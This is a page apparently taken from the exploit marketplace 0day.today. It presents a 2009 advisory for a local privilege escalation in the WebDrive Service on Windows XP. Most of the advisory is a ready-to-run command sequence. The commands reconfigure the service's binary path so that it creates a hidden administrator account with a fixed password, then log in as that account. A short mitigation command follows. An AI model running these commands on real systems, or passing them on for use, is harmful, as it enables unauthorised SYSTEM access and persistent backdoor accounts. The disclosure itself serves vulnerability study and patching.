0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
South River Technologies WebDrive Service privilege escalation
[============================================================== South River Technologies WebDrive Service privilege escalation ============================================================== # Title: South River Technologies WebDrive Service privilege escalation # CVE-ID: () # OSVDB-ID: () # Author: bellick # Published: 2009-10-20 # Verified: yes view source print? South River Technologies WebDrive Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick Software site: http://www.webdrive.com/ Download location: http://www.webdrive.com/download/index.html Tested against: South River Technologies WebDrive 9.02 build 2232 on Microsoft Windows XP SP3 The "WebDrive Service" is installed with an empty security descriptor. A malicious user can stop the service, then invoke the "sc config" command to replace the binary path with a value of choice, then restart the service to run the command with SYSTEM privileges ex., run theese commands as a limited user: sc stop WebDriveService sc config WebDriveService binPath= "cmd /c net user southriver kills /add && net localgroup Administrators southriver /add" sc start WebDriveService runas /noprofile /user:%COMPUTERNAME%\southriver cmd now login as administrator with password "kills" mitigation: the security descriptor of the service is like this: C:\>sc sdshow WebDriveService D: change the security descriptor like the following: c:\sc sdset WebDriveService D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) [SC] SetServiceObjectSecurity SUCCESS # 0day.today [2024-07-01] #